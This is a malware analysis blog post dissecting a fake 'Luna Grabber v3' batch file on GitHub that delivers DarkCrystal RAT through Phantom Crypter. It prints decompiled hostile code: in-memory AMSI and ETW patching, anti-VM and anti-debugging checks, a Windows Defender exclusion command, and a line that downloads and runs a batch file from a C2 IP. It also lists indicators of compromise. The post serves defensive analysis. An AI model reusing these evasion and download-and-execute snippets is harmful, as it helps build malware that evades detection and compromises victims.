Writing nitrozeus

Malware Analysis

DarkCrystal RAT disguising as fake Luna Grabber

An obfuscated batch file sold as Luna Grabber v3 on GitHub turned out to be DCRat, wrapped in Phantom Crypter to slip past AMSI.

By Ashraff Jan 10, 2025 11 min read
Fake Luna Grabber repository on GitHub

Recently, I discovered an obfuscated batch file on GitHub that was being distributed as Luna Grabber v3. After conducting reverse engineering and malware analysis, I uncovered that this file was actually a disguised version of DCRat malware. Things got interesting when I found out that Phantom Crypter was being used to evade detection of the DCRat payload.

Background

DarkCrystal RAT (DCRat) is a malicious tool that enables cybercriminals to remotely control infected devices. Attackers can spy on user activities, manipulate hardware like the webcam or microphone, steal files, and even integrate compromised devices into botnets for DDoS attacks.

Luna Grabber is an open-source infostealer targeting browsers, Discord, and gaming platforms like Roblox. It's the perfect bait because skids looking for "free hacking tools" are exactly the type of victims threat actors want.

Phantom Crypter is used to encrypt and obfuscate executables, making them harder for antivirus programs to detect. In this case, it's wrapping the DCRat payload.

What Makes This Interesting?

The malware operates as a multistage payload, utilizing PowerShell scripts and CMD commands. The first stage employs Phantom Crypter as an anti-detection mechanism, while the execution chain culminates in the DCRat loader being deployed. Here's the full architecture:

Figure 1

DCRat execution chain

Stage 1Initial Batch FileObfuscated setup.bat
Stage 2PowerShell Loader Script
  • Base64 decode
  • GZip decompress
  • AES-CBC decrypt
  • Memory loading
Payload 1Phantom Crypter
AMSI BypassMemory patch
Payload 2DCRat Stager
Anti-AnalysisVM / debugger checks
Stage 3DCRat Loaderpayload.exe
C2C2 Server87.121.105.243
DCRat Malware Architecture: Phantom Crypter bypasses AMSI, allowing DCRat to execute undetected

Technical Analysis

Obfuscated batch file
Initial batch file with heavy obfuscation

After downloading the suspicious batch file from GitHub, I opened it in Notepad++. The initial code review revealed heavy obfuscation techniques, a common indicator of malicious intent. The obfuscation primarily uses variable substitution and complex concatenations:

setup.bat
%ATaiwNkzMXsEMujliUyK%s%ATaiwNkzMXsEMujliUyK%e%ATaiwNkzMXsEMujliUyK%t
%ATaiwNkzMXsEMujliUyK%l%ATaiwNkzMXsEMujliUyK%o%ATaiwNkzMXsEMujliUyK%c
%ATaiwNkzMXsEMujliUyK%a%ATaiwNkzMXsEMujliUyK%l...

This resolves to setlocal enabledelayedexpansion. The pattern %<random>%<character>% spells each character of the command. Variables are also chained dynamically to build commands:

setup.bat
set "RrXeDVLAmEZoRJvkYhob=s"
set "FGjcFTBBrMfgXMEiMpoS=t"
set "GuDjBKuodbIMdKOKnvLz=!RrXeDVLAmEZoRJvkYhob!e!FGjcFTBBrMfgXMEiMpoS!"

// GuDjBKuodbIMdKOKnvLz resolves to: set

Deobfuscated Commands

After analyzing all the obfuscation layers, I extracted the core execution logic. The script checks for admin privileges, elevates if needed, then decrypts and executes the DCRat payload:

deobfuscated.bat
# 1. Enable delayed expansion for variable manipulation
setlocal enabledelayedexpansion

# 2. Check for admin privileges (output hidden)
net file > nul 2>&1

# 3. If not admin, elevate and execute payload
if not %errorlevel% == 0 (
    powershell -noprofile -ep bypass -command Start-Process -FilePath 'FZdX3l8.bat'
    -ArgumentList 'C:\Users\...\backup' -Verb runas & exit /b
)

Dual Payload Analysis

Dual payload structure

One of the most intriguing aspects of this DCRat variant is its dual payload system. Looking at the PowerShell code, we can see two distinct payloads being processed and executed:

loader.ps1
$payload1_var=decompress_function(decrypt_function($payloads_var[0]));
$payload2_var=decompress_function(decrypt_function($payloads_var[1]));

execute_function $payload1_var $null;
execute_function $payload2_var (,[string[]] (''));

The execution pattern reveals key insights:

  • Payload1: Executed with null parameters, this is the Phantom Crypter providing AMSI bypass. It stays resident in memory.
  • Payload2: Called with an empty string array, this is the DCRat stager with anti-analysis checks and the main RAT loader.

This split architecture is clever: it separates loader logic from main functionality, makes static analysis more challenging, and allows for efficient memory management. Both payloads are loaded directly into memory using System.Reflection.Assembly, leaving minimal traces on disk.

Payload 1: The Phantom Crypter

Decompiled Phantom Crypter
Decompiled Phantom Crypter in dnSpy

After extracting and decompiling Payload1 with dnSpy, I discovered it's the Phantom Crypter. It implements a sophisticated AMSI bypass technique by patching the AmsiScanBuffer function in memory:

1. Locating AMSI

Program.cs
private static string obfDll_Str = "^a^m^s^i^.^d^l^l^".Replace("^", "");

First, it obfuscates the "amsi.dll" string to avoid static detection. The string is split with "^" characters and reconstructed at runtime.

2. ASLR-Aware Memory Location

Program.cs
private static IntPtr ASLR(IntPtr Relative_Address, IntPtr Relative_BaseAddress, string ModuleName)
{
    return (IntPtr)((long)Relative_Address - (long)Relative_BaseAddress +
        (long)Program.GetModuleHandle(ModuleName));
}

The ASLR function calculates the real address of AmsiScanBuffer by getting the current base address of amsi.dll using GetModuleHandle, then adjusting for Address Space Layout Randomization.

3. Memory Patching

Program.cs
// Step 1: Change memory protection to allow writing
Program.VirtualProtect(intPtr, array2.Length, PAGE_EXECUTE_READWRITE, out num);

// Step 2: Write the patch (disables scanning function)
Marshal.Copy(array2, 0, intPtr, array2.Length);

// Step 3: Restore original protection to avoid detection
Program.VirtualProtect(intPtr, array2.Length, num, out num);

Think of it like editing a read-only document: change permissions, make edits, then set it back to read-only to avoid suspicion. This technique is effective because it works on both 32-bit and 64-bit systems, survives ASLR, modifies AMSI in memory without touching disk, and uses legitimate Windows APIs.

For a deeper explanation of AMSI bypass techniques, check out this excellent article on Medium.

Payload 2: The DCRat Stager

DCRat stager decompiled
DCRat stager decompiled

After further analysis, it's clear that Payload2 is a stager that prepares the environment and loads the actual DCRatLoader (payload.exe). It implements several anti-analysis techniques:

Anti-Virtualization Checks

Stager.cs
ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem");
foreach (ManagementBaseObject obj in searcher.Get())
{
    string manufacturer = obj["Manufacturer"].ToString().ToLower();
    if ((manufacturer == "microsoft corporation" && obj["Model"].ToString().Contains("VIRTUAL")) ||
        manufacturer.Contains("vmware") || obj["Model"].ToString() == "VirtualBox")
    {
        Environment.Exit(1);  // Bail if running in VM
    }
}

Anti-Debugging Techniques

Stager.cs
bool flag = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Debugger.IsAttached || flag || IsDebuggerPresent())
{
    Environment.Exit(-1);  // Exit if debugger detected
}

Disabling Event Logging (ETW)

Stager.cs
IntPtr procAddress = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite");
byte[] patch = IntPtr.Size != 8 ? new byte[] { 194, 20 } : new byte[] { 195 };
VirtualProtect(procAddress, patch.Length, PAGE_EXECUTE_READWRITE, out num);
Marshal.Copy(patch, 0, procAddress, patch.Length);

This patches the ETW (Event Tracing for Windows) function in memory to prevent logging of malicious activities.

Loading the Final Payload

Stager.cs
byte[] decrypted = GZipDecompress(
    AESDecrypt(
        ExtractResource("payload.exe"),
        key: Convert.FromBase64String("OFBzsjWvvPL6WSq/1UuUe3C/jKVmeriehNrKxcILwgw="),
        iv: Convert.FromBase64String("Sh+DW8pynt9N99iwSkFJuQ==")
    )
);
Assembly.Load(decrypted).EntryPoint.Invoke(null, args);

The DCRatLoader is processed through resource extraction, AES decryption, and GZip decompression before being loaded directly into memory using reflection. No disk writes.

DCRat Loader: The Final Stage

DCRatLoader
DCRatLoader (payload.exe)

The DCRatLoader establishes connection with the C2 server and downloads additional payloads. It contains Base64-encoded URLs and paths:

payload.exe
// Decoded: "http://87.121.105.243/yar/ewq.bat123"
string url = Encoding.Default.GetString(Convert.FromBase64String(
    "aHR0cDovLzg3LjEyMS4xMDUuMjQzL3lhci9ld3EuYmF0MTIz"));

// Decoded: "{SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/ewq.bat"
string path = Encoding.Default.GetString(Convert.FromBase64String(
    "e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9ld3EuYmF0"));

Before downloading the payload, it adds Windows Defender exclusions and attempts privilege escalation:

payload.exe
// Add Defender exclusion for AppData folder
Process.Start(new ProcessStartInfo {
    WindowStyle = ProcessWindowStyle.Hidden,
    FileName = "cmd.exe",
    Arguments = "/C powershell Add-MpPreference -ExclusionPath 'C:\\Users\\%USERNAME%\\AppData'"
});

// Download and execute with elevation if admin
new WebClient().DownloadFile(url, path);
Process.Start(new ProcessStartInfo {
    FileName = path,
    Verb = IsAdmin ? "runas" : ""
});

Indicators of Compromise

Network Indicators

TypeIndicator
C2 Server IP87.121.105.243
C2 URLhttp://87.121.105.243/yar/ewq.bat123

File Indicators

TypeIndicator
Downloaded Batch Fileewq.bat
Location{SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/ewq.bat

System Changes

ChangeDetail
Windows Defender ExclusionC:\Users\%USERNAME%\AppData
Hidden Process Executioncmd.exe with PowerShell commands
Potential UAC BypassUse of runas verb

Encryption Keys

KeyValue
Batch AES Keyi4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s=
Batch AES IVR8I1hTiXQxSbILqNOs5ldQ==
Stager AES KeyOFBzsjWvvPL6WSq/1UuUe3C/jKVmeriehNrKxcILwgw=
Stager AES IVSh+DW8pynt9N99iwSkFJuQ==

Final Thoughts

At the time of writing (Jan 2025), the C2 server (87.121.105.243) is no longer operational. The malicious GitHub repository was uploaded on Friday, April 26, 2024 at 01:25:54 +0100, highlighting how threat actors continue to abuse legitimate platforms to distribute malware.

This analysis demonstrates the sophisticated techniques modern malware employs to evade detection: from Phantom Crypter for AMSI bypass, to anti-VM and anti-debugging checks, ETW disabling, and multi-stage payload delivery. It serves as a reminder of the importance of thorough malware analysis and robust security measures.